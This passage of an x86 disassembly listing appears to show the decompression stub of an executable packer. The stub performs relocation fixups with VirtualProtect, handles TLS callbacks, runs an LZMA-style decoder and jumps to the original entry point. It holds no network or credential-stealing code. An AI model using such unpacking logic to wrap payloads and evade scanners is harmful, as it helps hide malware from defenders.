wsprintfA add esp, 14h jmp short loc_501BF3 ; --------------------------------------------------------------------------- loc_501BC6: ; CODE XREF: start+73Dj mov eax, [ebp+var_108] inc eax inc eax push eax push [ebp+var_10C] push [ebp+var_228] push 6 call sub_502A51 pop ecx push eax push [ebp+var_224] call ds:dword_501100 ; wsprintfA add esp, 14h loc_501BF3: ; CODE XREF: start+774j push 30h push [ebp+var_228] push [ebp+var_224] push 0 call ds:dword_501104 ; MessageBoxA jmp loc_501DAE ; --------------------------------------------------------------------------- loc_501C0E: ; CODE XREF: start+728j lea eax, [ebp+var_238] push eax push 40h push 4 push [ebp+var_21C] call ds:dword_5010EC ; VirtualProtect mov eax, [ebp+var_21C] mov ecx, [ebp+var_258] mov [eax], ecx mov eax, [ebp-214h] add eax, 4 mov [ebp-214h], eax mov eax, [ebp+var_21C] add eax, 4 mov [ebp+var_21C], eax jmp loc_501AF6 ; --------------------------------------------------------------------------- loc_501C56: ; CODE XREF: start+6AFj mov eax, [ebp+var_248] add eax, 14h mov [ebp+var_248], eax jmp loc_501943 ; --------------------------------------------------------------------------- loc_501C6A: ; CODE XREF: start+4FDj start+50Cj call sub_501DEF test eax, eax jnz short loc_501CA5 push 7 call sub_502A51 pop ecx push eax push [ebp+var_224] call ds:dword_501100 ; wsprintfA pop ecx pop ecx push 10h push [ebp+var_228] push [ebp+var_224] push 0 call ds:dword_501104 ; MessageBoxA jmp loc_501DAC ; --------------------------------------------------------------------------- loc_501CA5: ; CODE XREF: start+821j mov eax, ds:off_501024 cmp dword ptr [eax+68h], 0 jz short loc_501CB5 call sub_501F30 loc_501CB5: ; CODE XREF: start+85Ej mov eax, ds:off_501024 mov ecx, ds:dword_501028 add ecx, [eax+48h] mov ds:off_50103C, ecx loc_501CC9: ; CODE XREF: start+75j cmp [ebp+var_224], 0 jz short loc_501CE5 push 8000h push 0 push [ebp+var_224] call ds:dword_5010D4 ; VirtualFree loc_501CE5: ; CODE XREF: start+880j cmp ds:dword_501030, 0 jz short loc_501D01 push 8000h push 0 push ds:dword_501030 call ds:dword_5010D4 ; VirtualFree loc_501D01: ; CODE XREF: start+89Cj cmp [ebp+arg_4], 0 jnz short loc_501D22 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:off_50103C call sub_501DB8 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_501D22: ; CODE XREF: start+8B5j mov eax, ds:off_50103C pop edi pop esi pop ebx mov esp, ebp pop ebp push eax mov eax, ds:off_501024 cmp dword ptr [eax+48h], 0 jnz short loc_501D3E pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_501D3E: ; CODE XREF: start+8E7j pop eax jmp eax ; --------------------------------------------------------------------------- loc_501D41: ; CODE XREF: start:loc_501DACj ; start:loc_501DAEj ... cmp [ebp+arg_4], 1 jnz short loc_501D5A mov ds:dword_501038, 1 pop edi pop esi pop ebx mov esp, ebp pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- loc_501D5A: ; CODE XREF: start+8F5j cmp [ebp+var_224], 0 jz short loc_501D76 push 8000h push 0 push [ebp+var_224] call ds:dword_5010D4 ; VirtualFree loc_501D76: ; CODE XREF: start+911j cmp ds:dword_501030, 0 jz short loc_501D92 push 8000h push 0 push ds:dword_501030 call ds:dword_5010D4 ; VirtualFree loc_501D92: ; CODE XREF: start+92Dj cmp [ebp+arg_4], 0 jnz short loc_501DA4 call sub_501DB8 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_501DA4: ; CODE XREF: start+946j push 0 call ds:dword_5010DC ; ExitProcess loc_501DAC: ; CODE XREF: start+850j jmp short loc_501D41 ; --------------------------------------------------------------------------- loc_501DAE: ; CODE XREF: start+7B9j jmp short loc_501D41 ; --------------------------------------------------------------------------- loc_501DB0: ; CODE XREF: start+62Bj jmp short loc_501D41 ; --------------------------------------------------------------------------- loc_501DB2: ; CODE XREF: start+2B3j jmp short loc_501D41 ; --------------------------------------------------------------------------- loc_501DB4: ; CODE XREF: start:loc_5016A4j jmp short loc_501D41 ; --------------------------------------------------------------------------- loc_501DB6: ; CODE XREF: start+67j jmp short loc_501D41 start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_501DB8 proc near ; CODE XREF: start+8C6p start+948p mov eax, ds:dword_501040 push edi xor edi, edi test eax, eax jz short loc_501DED mov eax, [eax] push esi xor esi, esi loc_501DC9: ; CODE XREF: sub_501DB8+32j push eax call ds:dword_5010F4 ; FreeLibrary mov eax, ds:dword_501040 and dword ptr [esi+eax], 0 mov eax, ds:dword_501040 inc edi movzx esi, di shl esi, 2 mov eax, [esi+eax] test eax, eax jnz short loc_501DC9 pop esi loc_501DED: ; CODE XREF: sub_501DB8+Aj pop edi retn sub_501DB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501DEF proc near ; CODE XREF: start:loc_501C6Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov ecx, ds:dword_501028 push ebx push esi push edi mov eax, [ecx+3Ch] add eax, ecx mov [ebp+var_10], eax mov eax, ds:off_501024 cmp [eax+54h], ecx jz loc_501EC6 mov eax, [eax+60h] test eax, eax jz loc_501EC6 lea edi, [eax+ecx] loc_501E22: ; CODE XREF: sub_501DEF+CEj cmp dword ptr [edi], 0 jz loc_501EC6 lea eax, [edi+8] and [ebp+var_8], 0 mov [ebp+var_4], eax mov eax, [edi+4] sub eax, 8 cdq sub eax, edx sar eax, 1 test eax, eax jle short loc_501EBA loc_501E44: ; CODE XREF: sub_501DEF+C9j mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov esi, eax and esi, 0FFFh add esi, [edi] add esi, ecx shr eax, 0Ch jz short loc_501EA3 cmp eax, 3 jnz short loc_501EC2 mov eax, ds:off_501024 mov ebx, [esi] sub ebx, [eax+54h] add ebx, ecx cmp ebx, ecx jb short loc_501EC2 mov eax, [ebp+var_10] mov eax, [eax+50h] add eax, ecx cmp ebx, eax ja short loc_501EC2 lea eax, [ebp+var_C] push eax push 40h push 4 push esi call ds:dword_5010EC ; VirtualProtect lea eax, [ebp+var_C] mov [esi], ebx push eax push [ebp+var_C] push 4 push esi call ds:dword_5010EC ; VirtualProtect mov ecx, ds:dword_501028 loc_501EA3: ; CODE XREF: sub_501DEF+6Aj mov eax, [edi+4] add [ebp+var_4], 2 inc [ebp+var_8] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_8], eax jl short loc_501E44 loc_501EBA: ; CODE XREF: sub_501DEF+53j add edi, [edi+4] jmp loc_501E22 ; --------------------------------------------------------------------------- loc_501EC2: ; CODE XREF: sub_501DEF+6Fj ; sub_501DEF+7Fj ... xor eax, eax jmp short loc_501EC9 ; --------------------------------------------------------------------------- loc_501EC6: ; CODE XREF: sub_501DEF+1Fj ; sub_501DEF+2Aj ... push 1 pop eax loc_501EC9: ; CODE XREF: sub_501DEF+D5j pop edi pop esi pop ebx leave retn sub_501DEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501ECE proc near ; CODE XREF: sub_501F30+A5p ; DATA XREF: .ex_cod:00501004o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_501010, 0 push esi jz short loc_501F09 mov eax, ds:off_501024 mov ecx, [eax+1Ch] sub ecx, [eax+50h] add ecx, offset start mov esi, [ecx+0Ch] test esi, esi jz short loc_501F2B loc_501EF3: ; CODE XREF: sub_501ECE+39j mov eax, [esi] test eax, eax jz short loc_501F2B push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_501EF3 ; --------------------------------------------------------------------------- loc_501F09: ; CODE XREF: sub_501ECE+Bj mov eax, [ebp+arg_0] mov ds:dword_501014, 1 mov ds:dword_501018, eax mov eax, [ebp+arg_4] mov ds:dword_50101C, eax mov eax, [ebp+arg_8] mov ds:dword_501020, eax loc_501F2B: ; CODE XREF: sub_501ECE+23j ; sub_501ECE+29j pop esi pop ebp retn 0Ch sub_501ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501F30 proc near ; CODE XREF: start+860p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, ds:off_501024 cmp dword ptr [eax+68h], 0 jz short loc_501FB0 cmp ds:dword_50100C, 0FFFFFFFFh jz short loc_501FB0 push ebx push esi push edi mov ecx, ds:dword_50100C mov edx, large fs:2Ch mov ecx, [edx+ecx*4] mov [ebp+var_4], ecx mov ecx, ds:off_501024 mov edx, ds:dword_50100C mov edi, [ebp+var_4] mov eax, [ecx+1Ch] sub eax, [ecx+50h] add eax, offset start mov ecx, [eax+8] mov [ecx], edx mov esi, [eax] mov edx, [eax+4] sub edx, esi mov ecx, edx mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, [ebp+var_4] mov ecx, [eax+10h] xor eax, eax lea edi, [edx+esi] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop esi pop ebx loc_501FB0: ; CODE XREF: sub_501F30+Dj ; sub_501F30+16j cmp ds:dword_501014, 0 mov ds:dword_501010, 1 jz short locret_501FDA push ds:dword_501020 push ds:dword_50101C push ds:dword_501018 call sub_501ECE locret_501FDA: ; CODE XREF: sub_501F30+91j leave retn sub_501F30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501FDC proc near ; CODE XREF: sub_501368+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_50202C: ; CODE XREF: sub_501FDC+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_502042 cmp cl, 0E9h jz short loc_502042 inc eax jmp loc_502148 ; --------------------------------------------------------------------------- loc_502042: ; CODE XREF: sub_501FDC+59j ; sub_501FDC+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_50205C and dword ptr [esi], 0 jmp short loc_50206C ; --------------------------------------------------------------------------- loc_50205C: ; CODE XREF: sub_501FDC+79j test ecx, ecx jbe short loc_50206C loc_502060: ; CODE XREF: sub_501FDC+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_502060 loc_50206C: ; CODE XREF: sub_501FDC+7Ej ; sub_501FDC+82j mov dl, [eax+edi+4] test dl, dl jz short loc_50207D cmp dl, 0FFh jnz loc_502134 loc_50207D: ; CODE XREF: sub_501FDC+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_502134 and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_502134 xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_5020BE: ; CODE XREF: sub_501FDC+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_502106 mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_5020EE cmp dl, 0FFh jnz short loc_502103 loc_5020EE: ; CODE XREF: sub_501FDC+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_5020BE ; --------------------------------------------------------------------------- loc_502103: ; CODE XREF: sub_501FDC+110j mov edi, [ebp+arg_0] loc_502106: ; CODE XREF: sub_501FDC+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_502148 ; --------------------------------------------------------------------------- loc_502134: ; CODE XREF: sub_501FDC+9Bj ; sub_501FDC+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_502143 cmp dl, 0FFh jnz short loc_502148 loc_502143: ; CODE XREF: sub_501FDC+160j or ecx, 10h mov [esi], ecx loc_502148: ; CODE XREF: sub_501FDC+61j ; sub_501FDC+156j ... cmp eax, [ebp+var_4] jbe loc_50202C pop edi pop esi pop ebx leave retn sub_501FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_502156 proc near ; CODE XREF: sub_5023E9+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_5021AE push ebx mov [ebp+arg_0], edx loc_502171: ; CODE XREF: sub_502156+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_50217D sub edi, esi or al, 1 loc_50217D: ; CODE XREF: sub_502156+21j cmp esi, 1000000h jnb short loc_5021A8 mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_50219B mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_5021A0 ; --------------------------------------------------------------------------- loc_50219B: ; CODE XREF: sub_502156+37j mov bl, [edx] inc edx mov [ecx], edx loc_5021A0: ; CODE XREF: sub_502156+43j movzx edx, bl shl edi, 8 or edi, edx loc_5021A8: ; CODE XREF: sub_502156+2Dj dec [ebp+arg_0] jnz short loc_502171 pop ebx loc_5021AE: ; CODE XREF: sub_502156+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_502156 endp ; =============== S U B R O U T I N E ======================================= sub_5021B8 proc near ; CODE XREF: sub_50227D+1Dp ; sub_5022B4+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_502229 mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_502225 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_50220C mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_502211 ; --------------------------------------------------------------------------- loc_50220C: ; CODE XREF: sub_5021B8+46j mov dl, [esi] inc esi mov [ecx], esi loc_502211: ; CODE XREF: sub_5021B8+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_502225: ; CODE XREF: sub_5021B8+3Fj xor eax, eax jmp short loc_50227A ; --------------------------------------------------------------------------- loc_502229: ; CODE XREF: sub_5021B8+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_50227A mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_502260 mov [ecx+10h], eax or bl, 0FFh jmp short loc_502265 ; --------------------------------------------------------------------------- loc_502260: ; CODE XREF: sub_5021B8+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_502265: ; CODE XREF: sub_5021B8+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_50227A: ; CODE XREF: sub_5021B8+6Fj ; sub_5021B8+96j pop edi pop esi retn sub_5021B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50227D proc near ; CODE XREF: sub_502374+26p ; sub_502374+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_5022A8 push esi push edi mov edi, [ebp+arg_4] loc_50228E: ; CODE XREF: sub_50227D+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_5021B8 pop ecx add eax, esi dec edi pop ecx jnz short loc_50228E pop edi pop esi loc_5022A8: ; CODE XREF: sub_50227D+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_50227D endp ; =============== S U B R O U T I N E ======================================= sub_5022B4 proc near ; CODE XREF: sub_5023E9+2F5p ; sub_5023E9+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_5022EA push esi loc_5022C4: ; CODE XREF: sub_5022B4+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_5021B8 pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_5022C4 pop esi loc_5022EA: ; CODE XREF: sub_5022B4+Dj mov eax, ebx pop edi pop ebx retn sub_5022B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5022EF proc near ; CODE XREF: sub_5023E9+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_5021B8 pop ecx mov ebx, eax pop ecx or ebx, 2 loc_50231E: ; CODE XREF: sub_5022EF+5Fj cmp esi, eax jnz short loc_502350 cmp ebx, 100h jge short loc_50236D movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_5021B8 pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_50231E ; --------------------------------------------------------------------------- loc_502350: ; CODE XREF: sub_5022EF+31j mov esi, 100h loc_502355: ; CODE XREF: sub_5022EF+7Cj cmp ebx, esi jge short loc_50236D push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_5021B8 pop ecx or ebx, eax pop ecx jmp short loc_502355 ; --------------------------------------------------------------------------- loc_50236D: ; CODE XREF: sub_5022EF+39j ; sub_5022EF+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_5022EF endp ; =============== S U B R O U T I N E ======================================= sub_502374 proc near ; CODE XREF: sub_5023E9+24Fp ; sub_5023E9+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_5021B8 pop ecx pop ecx test eax, eax push edi jnz short loc_5023A4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_50227D add esp, 0Ch jmp short loc_5023E6 ; --------------------------------------------------------------------------- loc_5023A4: ; CODE XREF: sub_502374+16j lea eax, [esi+2] push eax call sub_5021B8 pop ecx pop ecx test eax, eax push edi jnz short loc_5023D2 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_50227D add esp, 0Ch add eax, 8 jmp short loc_5023E6 ; --------------------------------------------------------------------------- loc_5023D2: ; CODE XREF: sub_502374+3Ej add esi, 204h push 8 push esi call sub_50227D add esp, 0Ch add eax, 10h loc_5023E6: ; CODE XREF: sub_502374+2Ej ; sub_502374+5Cj pop edi pop esi retn sub_502374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5023E9 proc near ; CODE XREF: sub_501368+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_502451 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_502451: ; CODE XREF: sub_5023E9+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_502473: ; CODE XREF: sub_5023E9+AFj cmp [ebp+var_34], edi jnz short loc_50247F mov [ebp+var_24], edx or al, 0FFh jmp short loc_502487 ; --------------------------------------------------------------------------- loc_50247F: ; CODE XREF: sub_5023E9+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_502487: ; CODE XREF: sub_5023E9+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_502473 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_50274F loc_5024AA: ; CODE XREF: sub_5023E9+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_5021B8 pop ecx test eax, eax pop ecx jnz loc_50255F mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_5024FF and [ebp+var_4], 0 jmp short loc_50250F ; --------------------------------------------------------------------------- loc_5024FF: ; CODE XREF: sub_5023E9+10Ej cmp [ebp+var_4], 0Ah jge short loc_50250B sub [ebp+var_4], 3 jmp short loc_50250F ; --------------------------------------------------------------------------- loc_50250B: ; CODE XREF: sub_5023E9+11Aj sub [ebp+var_4], 6 loc_50250F: ; CODE XREF: sub_5023E9+114j ; sub_5023E9+120j cmp [ebp+var_14], 0 jz short loc_50253C mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_5022EF add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_50255A ; --------------------------------------------------------------------------- loc_50253C: ; CODE XREF: sub_5023E9+12Aj push 1 pop ebx loc_50253F: ; CODE XREF: sub_5023E9+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_5021B8 or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_50253F loc_50255A: ; CODE XREF: sub_5023E9+151j mov eax, [ebp+arg_1C] jmp short loc_5025D2 ; --------------------------------------------------------------------------- loc_50255F: ; CODE XREF: sub_5023E9+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_5021B8 pop ecx cmp eax, 1 pop ecx jnz loc_502658 lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_5021B8 pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_5025E0 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_5021B8 pop ecx test eax, eax pop ecx jnz short loc_50262C cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_5025D2: ; CODE XREF: sub_5023E9+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_502743 ; --------------------------------------------------------------------------- loc_5025E0: ; CODE XREF: sub_5023E9+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_5021B8 pop ecx test eax, eax pop ecx jnz short loc_5025F8 mov eax, [ebp+var_10] jmp short loc_502623 ; --------------------------------------------------------------------------- loc_5025F8: ; CODE XREF: sub_5023E9+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_5021B8 pop ecx test eax, eax pop ecx jnz short loc_502614 mov eax, [ebp+var_C] jmp short loc_50261D ; --------------------------------------------------------------------------- loc_502614: ; CODE XREF: sub_5023E9+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_50261D: ; CODE XREF: sub_5023E9+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_502623: ; CODE XREF: sub_5023E9+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_50262C: ; CODE XREF: sub_5023E9+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_502374 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_50271C ; --------------------------------------------------------------------------- loc_502658: ; CODE XREF: sub_5023E9+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_502374 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_502698 jmp short loc_50269B ; --------------------------------------------------------------------------- loc_502698: ; CODE XREF: sub_5023E9+2ABj push 3 pop eax loc_50269B: ; CODE XREF: sub_5023E9+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_50227D add esp, 0Ch cmp eax, 4 jl short loc_502713 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_5026EA lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_5022B4 add esp, 0Ch loc_5026E6: ; CODE XREF: sub_5023E9+328j add ebx, eax jmp short loc_502718 ; --------------------------------------------------------------------------- loc_5026EA: ; CODE XREF: sub_5023E9+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_502156 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_5022B4 add esp, 14h jmp short loc_5026E6 ; --------------------------------------------------------------------------- loc_502713: ; CODE XREF: sub_5023E9+2CEj mov [ebp+var_8], eax mov ebx, eax loc_502718: ; CODE XREF: sub_5023E9+2FFj inc ebx mov 